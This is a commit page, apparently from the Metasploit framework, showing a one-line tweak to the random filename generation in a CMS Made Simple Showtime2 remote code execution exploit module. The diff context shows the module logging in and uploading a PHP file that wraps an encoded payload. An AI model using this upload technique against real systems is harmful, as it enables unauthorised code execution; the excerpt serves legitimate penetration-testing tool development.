Update modules/exploits/multi/http/cmsms_showtime2_rce.rb

Co-Authored-By: fabiocogno <fabio.cogno@gmail.com>
master
bcoles 2019-03-20 14:12:47 +01:00 committed by GitHub
parent fe0d5e0c97
commit 050aa7a98c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -143,7 +143,7 @@ class MetasploitModule < Msf::Exploit::Remote
do_login
# Upload PHP payload
fname = "#{rand_text_alphanumeric(rand(3..9))}.php"
fname = "#{rand_text_alphanumeric(3..9)}.php"
fcontent = "<?php #{payload.encode} ?>"
print_status('Uploading PHP payload.')
if Failure::Unknown == upload(fname, fcontent)